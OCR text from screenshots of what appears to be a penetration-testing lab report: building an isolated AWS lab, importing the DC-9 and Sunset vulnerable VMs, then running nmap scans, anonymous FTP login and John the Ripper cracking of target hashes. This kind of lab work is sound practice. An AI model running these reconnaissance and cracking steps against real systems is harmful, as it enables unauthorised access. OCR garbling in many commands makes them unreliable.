100 /var/lib/dpkg/status
[ubuntu@ip-16-16-1-49:~$ apt-cache search john | head -20
john — active password cracking tool
john-data - active password cracking tool - character sets
libmarkdown2 - implementation of the Markdown markup language in C (library)
libmarkdown2-dev — implementation of the Markdown markup language in C (dev files)
libtext-markdown-discount-perl - Perl interface to Discount, an implementation of Markdown
python3-markdown — text-to-HTML conversion library/tool (Python 3 version)
astap — astrometric (plate) solver, stacking of images, photometry and FITS viewer
cewl — custom word list generator
cl-markdown - Common Lisp rewrite of Markdown
coturn — TURN and STUN server for VoIP
discount - implementation of the Markdown markup language in C
dmarcts-report-parser — Perl based tool to parse DMARC reports
dopewars - drug-dealing game set in streets of New York City
dopewars-data — drug-dealing game set in streets of New York City — data files
drascula - classic 2D point and click adventure game —— English version
drascula-french - classic 2D point and click adventure game —— French version
drascula-german - classic 2D point and click adventure game —-— German version
drascula-italian - classic 2D point and click adventure game —- Italian version
drascula-spanish - classic 2D point and click adventure game —- Spanish version
flexpart - Particle Dispersion model for tracing air transport phenomena
[ubuntu@ip-16-16-1-49:~$ john —format=crypt ~/sunset_hashes.txt
Loaded 5 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
space (space)
sky (sky)
2g 0:00:05:09 45% 2/3 0.006471g/s 230.0p/s 451.8c/s 679.8C/s LotusLotus..VikramVikram
2g 0:00:05:14 46% 2/3 0.006349g/s 230.0p/s 451.8c/s 679.7C/s nevetS..eigduB
Read from remote host 98.92.68.145: Connection reset by peer
Connection to 98.92.68.145 closed.
client_loop: send disconnect: Broken pipe
$




image22.png
Red-Team Workstation
Kali Linux
10.10.10.100

External Network / Internet
NOT PART OF TEST SCOPE

Blocked / No Victim Access
A

ABCD Ltd Isolated Lab Network
10.10.10.0/24

<

Optional Monitoring
SIEM / Log Collector
10.10.10.40

VM-1: Windows Server
Active Directory Domain Controller
10.10.10.10
DNS +AD DS

Domain Authentication

VM-3: Windows 10/11
File Server / Client
10.10.10.30
Dummy Sensitive Data

DNS / LDAP / Kerberos

VM-2: Linux Web Server
Vulnerable Web Application
10.10.10.20
HTTP/HTTPS

!

Authorised Internal Access




image23.png
VIRTUAL MACHINES RESOURCES ABOUT SUBMIT MACHINE CONTACT US

Back About Release | Download | Description | File information | Virtual Machine | Networking | Screenshot(s)
DC:9 vo

About Release Back to the Top

Name: DC: 9

Date release: 29 Dec 2019
Author: DCAU

Series: DC

-~

Download Back to the Top
Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers
of running unknown VMs and our suggestions for “protecting yourself and your network. If you understand the risks, please download!

DC-9.zip (Size: 700 MB)

Download: http://www.five86.com/downloads/DC-9.zip

Download (Mirror): https://download.vulnhub.com/dc/DC-9.zip

-~

Descripﬁon Back to the Top
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.

1 inux skille and familiaritv with the | inux command line are a must as iea some exnerience with basic nenetration testina tools




image24.png
$ export VPC_CIDR=10.10.0.0/16
export SUBNET_CIDR=10.10.1.0/24
[export AZ=us-east-1f
$ export VPC_ID=$(aws ec2 create-vpc \
——cidr-block "$VPC_CIDR" \
——query 'Vpc.VpcId' \
—output text)

aws ec2 modify-vpc-attribute \
——vpc-id "$VPC_ID" \
—enable-dns—support '{"Value":true}'

aws ec2 modify-vpc-attribute \
——vpc-id "$VPC_ID" \
——enable-dns—hostnames '{"Value":true}'

[echo "$VPC_ID"

vpc—-079a8c7c3086155ef

$ export SUBNET_ID=$(aws ec2 create-subnet \
——vpc-id "$VPC_ID" \
——cidr-block "$SUBNET_CIDR" \
——availability-zone "$AZ" \
——query 'Subnet.SubnetId' \
—output text)

[echo "$SUBNET_ID"

subnet-048d8a33e86871f50

$ aws ec2 modify-subnet-attribute \
——subnet-id "$SUBNET_ID" \

[ ——map—public-ip—on-launch

$ export IGW_ID=$(aws ec2 create-internet-gateway \
——query 'InternetGateway.InternetGatewayId' \
—output text)

aws ec2 attach-internet-gateway \
——internet-gateway-id "$IGW_ID" \

[ ——vpc-id "$VPC_ID"

$ export RTB_ID=$(aws ec2 create-route-table \
——vpc-id "$VPC_ID" \
——query 'RouteTable.RouteTableId' \

[ ——output text)

$ aws ec2 create-route \
——route-table-id "$RTB_ID" \
——destination-cidr-block ©.0.0.0/0 \

[ --gateway-id "$IGW_ID"

"Return": true

$ aws ec2 associate-route-table \
——route-table-id "$RTB_ID" \
[ ——subnet-id "$SUBNET_ID"

"AssociationId": "rtbassoc-@4ba6cb263055débe",
"AssociationState": {

"State": "associated"
}
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$ aws ec2 describe-route-tables \
—route-table-ids "$RTB_ID" \
[ —output table

| DescribeRouteTables
—_— - S—
| RouteTables |
— — — +
| OwnerId | RouteTableId VpeId |
o e ENEEEE— e +
| 069176179640 | rtb-88dc785bfb481e39b | vpc-879a8c7c3086155ef ]
[ AERAC - ——— A SR +
| Associations |
e e S RENEUNEEEE T R —
| Main |  RouteTableAssociationld | RouteTableId | SubnetId |
— —
|False | rtbassoc-04ba6ch263055d6be | rth-08dc785bfb481e39%b | subnet-848d8a33e86871f50 |
I — - S —
AssociationState

—_— —— —_— —

| 16.10.0.0/16 | local | CreateRouteTable | active |
| e.0.0.0/0 | igw-8e793ddcd258dd925 | CreateRoute | active |

$ export MY_IP=§(curl -4 -s https://ifconfig.me)
(echo "$MY_II
\49.37.113.70
$ export SG_ID=$(aws ec2 create-security-group \
—group-name ABCD-Lab-SG \
—description "Isolated penetration testing lab" \
—vpc-id "$VPC_ID" \
—query 'GroupId' \
—output text)

lecho "$56_TD"

$g-012217401300ae827

$ aws ec2 authorize
—group-id "$SG_II
—protocol -1 \
—port -1 \

[ —cidr "$VPC_CIDR"

ecurity-group-ingress \

\

"Return”: true,
"SecurityGroupRules"
{

[

"SecurityGroupRuleId": "sgr-obf2e4f1739ffc3ss",
"GroupId": "sg-0122f7401300ae827",
"GroupOwnerId": "@69176179640",

"IsEgress": false,

"IpProtocol": "-1*,

“FromPort
“ToPort"
"CidrIpv4
"SecurityGroupRuleArn”:

"10.10.0.0/16",

1
}
$ aws ec2 authorize-security-group-ingress \
—group-id "$S6_ID" \

"arn:aws:ec2:us-east-1:069176179640: security-group-rule/sgr-8bf2e4f1739ffc3s4"
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$ aws ec2 authorize-security-group-ingress \
——group—-id "$SG_ID" \
—protocol tcp \
—port 22 \

[ —cidr "$MY_IP/32"

{
"Return": true,
"SecurityGroupRules": [
{
"SecurityGroupRuleId": "sgr-@fe30f7d54c826697",
"GroupIld": "sg-0122f7401300ae827",
"GroupOwnerId": "069176179640",
"IsEgress": false,
"IpProtocol": "tcp",
"FromPort": 22,
"ToPort": 22,
"CidrIpv4": "49.37.113.70/32",
"SecurityGroupRuleArn": "arn:aws:ec2:us—east-1:069176179640:security—-group-rule/sgr-0fe30f7d54c826697"
}
1
}

$ aws ec2 authorize-security-group-ingress \
——group-id "$SG_ID" \
——protocol tcp \
——port 3389 \

[ ——cidr "$MY_IP/32"

{
"Return": true,
"SecurityGroupRules": [
{
"SecurityGroupRuleId": "sgr-0c10e378082f56656",
"GroupId": "sg-0122f7401300ae827",
"GroupOwnerId": "069176179640",
"IsEgress": false,
"IpProtocol": "tcp",
"FromPort": 3389,
"ToPort": 3389,
"CidrIpv4": "49.37.113.70/32",
"SecurityGroupRuleArn": "arn:aws:ec2:us—east-1:069176179640:security—-group-rule/sgr—-0c10e378082f56656"
}
1
}

$ aws ec2 create-key-pair \
—key-name pentest-lab—key \
—query 'KeyMaterial' \
[ ——output text > ~/pentest-lab/pentest-lab-key.pem
[$ chmod 400 ~/pentest-lab/pentest-lab-key.pem
[$ 1s -1 ~/pentest-lab/pentest-lab-key.pem
-r—————— 1 srita staff 1679 12 Aug 17:32 /Users/srita/pentest-lab/pentest-lab-key.pem
$ echo "VPC: $VPC_ID"
echo "Subnet: $SUBNET_ID"
echo "SG: $SG_ID"
echo "IGW: $IGW_ID"
[echo "RTB: $RTB_ID"
VPC: vpc-079a8c7c3086155ef
Subnet: subnet-048d8a33e86871f50

SG: $g-012217401300ae827
IGw: igw-0e793ddcd258dd925
RTB: rtb-08dc785bfb481e39b

$ aws ec2 describe-subnets \
——subnet-ids "$SUBNET_ID" \
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$ cd ~/pentest-lab

aws s3 cp ~/Downloads/DC-9/DC-9.ova \
"s3://$BUCKET/DC-9.ova"

aws s3 cp ~/Downloads/sunset/sunset.ova \
"s3://$BUCKET/sunset.ova"

[aws s3 1s "s3://$BUCKET/"

upload: ../Downloads/DC-9/DC-9.ova to s3://pentest—vm-import-069176179640-1786536260/DC-9.ova
upload: ../Downloads/sunset/sunset.ova to s3://pentest-vm-import-069176179640-1786536260/sunset.ova
2026-08-12 17:36:29 748784128 DC-9.ova

2026-08-12 17:40:14 900064256 sunset.ova

$ cd ~/pentest-lab

cat > dc9-container.json <<EOF

[
{
"Description": "DC-9",
"Format": "ova",
"UserBucket": {
"S3Bucket "$BUCKET",
"S3Key": "DC-9.ova"
}
}
1
EOF
cat > sunset-container.json <<EOF
[
{
"Description": "Sunset",
"Format": "ova",
"UserBucket": {
"S3Bucket": "$BUCKET",
"S3Key": "sunset.ova"
}
}
1
EOF

export DC9_IMPORT=$(aws ec2 import-image \
——description "DC-9" \
——disk-containers file://dc9-container.json \
——query 'ImportTaskId' \
—output text)

export SUNSET_IMPORT=$(aws ec2 import-—image \
—description "Sunset" \
——disk-containers file://sunset—container.json \
——query 'ImportTaskId' \
—output text)

echo "DC9: $DC9_IMPORT"

[echo "SUNSET: $SUNSET_IMPORT"

DC9: import-ami-de452502399cb7blt
SUNSET: import-ami-81238aa8ffb85c72t
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[echo "DC9=$DC9_INSTANCE"

DC9=1-0b27e4b5053448efe

$ export SUNSET_INSTANCE=$(aws ec2 run-instances \
——image-id ami-@f1c640b62f86e758 \
——instance-type t3.micro \
——key-name pentest-lab-key \
——subnet-id "$SUBNET_ID" \
——-security-group-ids "$SG_ID" \
—no-associate-public-ip-address \
——tag-specifications 'ResourceType=instance, Tags=[{Key=Name,Value=Sunset}]' \
—query 'Instances[@].InstanceId' \
—output text)

[echo "SUNSET=$SUNSET_INSTANCE"
SUNSET=1-036ef26ec4taea93d8
$ aws ec2 wait instance-running \
[ ——instance-ids "$DC9_INSTANCE" "$SUNSET_INSTANCE"
$ aws ec2 describe-instances \
——instance-ids "$DC9_INSTANCE" "$SUNSET_INSTANCE" \
——query 'Reservations[].Instances[].{Name:Tags[?Key=="Name'1|[@].Value,PrivateIP:PrivateIpAddress,State:State.Name}' \
[ ——output table

| Dpc-9

running |
running |

$ export ATTACKER_AMI=$(aws ec2 describe-images \

——owners 099720109477 \

——filters \
"Name=name, Values=ubuntu/images/hvm-ssd-gp3/ubuntu-noble-24.04—-amdé4—server—x" \
"Name=state,Values=available" \
"Name=architecture, Values=x86_64" \

——query 'Images | sort_by(@,&CreationDate)[-1].ImageId' \

—output text)

[echo "$ATTACKER_AMI"

ami-052355af2a@14bd2c

$ export ATTACKER_INSTANCE=$(aws ec2 run-instances \
——image-id "$ATTACKER_AMI" \
——instance-type t3.micro \
——key-name pentest-lab-key \
——subnet-id "$SUBNET_ID" \
——-security-group-ids "$SG_ID" \
—associate-public-ip-address \
——tag-specifications 'ResourceType=instance, Tags=[{Key=Name,Value=Attacker}]' \
—query 'Instances[@].InstanceId' \
—output text)

[echo "$ATTACKER_INSTANCE"

1-0125fc1c75b54501e

$ aws ec2 wait instance-running \

[ —instance-ids "$ATTACKER_INSTANCE"

$ export ATTACKER_PUBLIC_IP=$(aws ec2 describe-instances \
——instance-ids "$ATTACKER_INSTANCE" \
——query 'Reservations[@].Instances[@].PublicIpAddress' \
—output text)

export ATTACKER_PRIVATE_IP=$(aws ec2 describe-instances \
——instance-ids "$ATTACKER_INSTANCE" \
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——filters "Name=tag:Name,Values=Attacker" "Name=instance-state-name,Values=running" \
——query 'Reservations[@].Instances[@].Instanceld' \
——output text)

export ATTACKER_PUBLIC_IP=$(aws ec2 describe-instances \
——instance-ids "$ATTACKER_INSTANCE" \
——query 'Reservations[@].Instances[@].PublicIpAddress' \
——output text)

export ATTACKER_SUBNET=$(aws ec2 describe-instances \
——instance-ids "$ATTACKER_INSTANCE" \
——query 'Reservations[@].Instances[@].SubnetId' \
——output text)

export ATTACKER_SG=$(aws ec2 describe-instances \
——instance-ids "$ATTACKER_INSTANCE" \
——query 'Reservations[@].Instances[@].SecurityGroups[@].GroupId' \
—output text)

echo "INSTANCE=$ATTACKER_INSTANCE"
echo "PUBLIC_IP=$ATTACKER_PUBLIC_IP"
echo "SUBNET=$ATTACKER_SUBNET"

echo =$ATTACKER_SG"

echo ROUTE ====:
aws ec2 describe-route-tables \
——filters "Name=association.subnet-id,Values=$ATTACKER_SUBNET" \
——query 'RouteTables[].Routes[].{Destination:DestinationCidrBlock,Gateway:GatewayId,State:State}' \
——output table

echo = SECURITY GROUP SSH =
aws ec2 describe-security-groups \
——group-ids "$ATTACKER_SG" \
——query 'SecurityGroups[@].IpPermissions[?FromPort:
——output table

\

echo INSTANCE
aws ec2 describe-instances \
——instance-ids "$ATTACKER_INSTANCE" \
——query 'Reservations[@].Instances[@].{State:State.Name,PublicIP:PublicIpAddress,PrivateIP:PrivateIpAddress,Subnet:SubnetId,VPC:VpcId}' \
[ —output table
INSTANCE=i-0125fc1c75b54501e
PUBLIC_IP=98.92.68.145
SUBNET=subnet-848d8a33e8687150
SG=sg-0122f7401300ae827

ROUTE

| DescribeRouteTables |
A - e
| Destination | Gateway | State
B e
| 10.10.0.8/16 | local | active |
| ©.0.6.0/0 | igw-8e793ddcd258dd925 | active |

R B S—

SECURITY GROUP SSH

| DescribeSecurityGroups

A —
| FromPort | IpProtocol | ToPort
. — —

+—+—

export ATTACKER_INSTANCE=$(aws ec2 describe-instances \
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INSTANCE=1-0125fc1c75b54501e
PUBLIC_IP=98.92.68.145
SUBNET=subnet-048d8a33e86871f50
SG=sg-012217401300ae827

DescribeRouteTables |
T "
Destination | Gateway | State |
e ————
10.10.0.8/16 | local | active |
0.0.0.8/0 | igw-@e793ddcd258dd925 | active |

——— —+— — +

SECURITY GROUP SSH

DescribeSecurityGroups |

¢
FromPort | IpProtocol | ToPort |
+—

22 | tecp | 22 |
+—
| IpRanges |
—— e
| CidrIp |
e e e e e —_—
| 49.37.113.70/32 |

| PrivateIP | PublicIP
e e
| 10.10.1.49| 98.92.68.145
—
$ aws ec2 describe-route-tables \
—filters "Name=association.subnet-id,Values=subnet-048d8a33e86871f50" \
——query 'RouteTables[].Routes[].{Destination:DestinationCidrBlock,Gateway:GatewayId,State:State}' \
[ ——output table

vpc-879a8c7c3086155ef |

4

| DescribeRouteTables |
Ao e — +
| Destination | Gateway | State |
e T e 1
| 10.10.0.8/16 | local | active |
| ©.e.0.0/0 | igw-0e793ddcd258dd925 | active |
o T . +

$ aws ec2 describe-security-groups \
——group-ids "$ATTACKER_SG" \
——query 'SecurityGroups[@].IpPermissions' \
[ ——output json

{
"IpProtocol": "-1",
"UserIdGroupPairs": [],
"IpRanges": [
{

"CidrIp": "10.10.0.0/16"
}
1,
"IpvéRanges": [],
"PrefixListIds": []
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—instance-os-user ubuntu \
[ ——ssh-public-key "$(cat ~/.ssh/id_ed25519.pub 2>/dev/null || cat ~/.ssh/id_rsa.pub)"
{
"RequestId": "5fe231a8-2904-4e19-9362-673771626181",
"Success": true
}
$ ssh -i ~/.ssh/id_ed25519 \
-o IdentitiesOnly=yes \
[ ubuntu@"$ATTACKER_PUBLIC_IP"
Warning: Identity file /Users/srita/.ssh/id_ed25519 not accessible: No such file or directory.
The authenticity of host '98.92.68.145 (98.92.68.145)' can't be established.
ED25519 key fingerprint is: SHA256:Q8gj+aSFbqf5cFk09G8nGx94DxrluEmU0sZ25/1Bull
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '98.92.68.145' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.84.4 LTS (GNU/Linux 6.17.0-1019-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Wed Aug 12 12:46:06 UTC 2026

System load: 0.08 Temperature: -273.1 C
Usage of /: 25.8% of 6.71GB  Processes: 111
Memory usage: 23% Users logged in: )
RUETVEET[-H 0% IPv4 address for ens5: 10.10.1.49

Expanded Security Maintenance for Applications is not enabled.
@ updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@ip-10-16-1-49:~$ hostname
[ip addr
ip-10-10-1-49
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
1link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
ineté ::1/128 scope host noprefixroute
valid_1ft forever preferred_lft forever
2: ens5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc mq state UP group default qlen 1000
link/ether 16:ff:eb:28:2b:b7 brd ff:ff:ff:ff:ff:ff
altname enp@s5
inet 10.10.1.49/24 metric 100 brd 10.10.1.255 scope global dynamic ens5
valid_1ft 330@lsec preferred_lft 330lsec
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ubuntu@ip-10-10-1-4

~$ sudo apt update

sudo apt install -y nmap sgqlmap john wordlists ftp python3-venv python3-pip git curl

[sudo gzip -dk /usr/share/wordlists/rockyou.txt.gz 2>/dev/null || true
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//security.ubuntu.com/ubuntu noble-security/main Translation-en [201 kB]
//security.ubuntu.com/ubuntu noble-security/main amdé4 Components [46.3 kB]
://us—east-1.ec2.archive.ubuntu.com/ubuntu noble-updates/main Translation-en [282 kB]
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Connectea to 10.190.1.130.

220 pyftpdlib 1.5.5 ready.

Name (10.10.1.130:ubuntu): anonymous

331 Username ok, send password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> 1s

229 Entering extended passive mode (|||57263|).
125 Data connection already open. Transfer starting.

-rw-r——r—-— 1 root root 1062 Jul 29 2019 backup
226 Transfer complete.
ftp> bye

221 Goodbye.

ubuntu@ip-16-16-1-49:~$ nmap —Pn —-p22 —-script ssh2-enum-algos,ssh-hostkey 10.10.1.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-12 12:51 UTC

Nmap scan report for ip-10-10-1-130.ec2.internal (10.10.1.130)

Host is up (0.00025s latency).

PORT  STATE SERVICE
22/tcp open ssh

| ssh2-enum-algos:
| kex_algorithms: (10)
| curve25519-sha256

| curve25519-sha256@libssh.org

| ecdh-sha2-nistp256

| ecdh-sha2-nistp384

| ecdh-sha2-nistp521

| diffie-hellman-group-exchange-sha256

| diffie-hellman-groupl6-sha512

| diffie-hellman—-group18-sha512

| diffie-hellman-groupl4-sha256

| diffie-hellman—-groupl4-shal

| server_host_key_algorithms: (5)

| rsa-sha2-512

| rsa-sha2-256

| ssh-rsa

| ecdsa-sha2-nistp256

| ssh-ed25519

| encryption_algorithms: (6)

| chacha20-poly1305@openssh.com

| aes128-ctr

| aes192-ctr

| aes256-ctr

| aes128-gcm@openssh.com

| aes256—-gcm@openssh.com

| mac_algorithms: (10)

| umac—-64-etm@openssh.com

| umac-128-etm@openssh.com

| hmac-sha2-256-etm@openssh.com

| hmac-sha2-512-etm@openssh.com

| hmac-shal-etm@openssh.com

| umac—64Qopenssh.com

| umac-128Ropenssh.com

| hmac-sha2-256

| hmac-sha2-512

| hmac-shal

| compression_algorithms: (2)

| none

|_ z1ibRopenssh.com

| ssh-hostkey:

| 2048 71:bd:fa:c5:8c:88:7c:22:14:c4:20:03:32:36:05:d6 (RSA)
| 256 35:92:8e:16:43:0c:39:88:8e:83:0d:e2:2c:a4:65:91 (ECDSA)




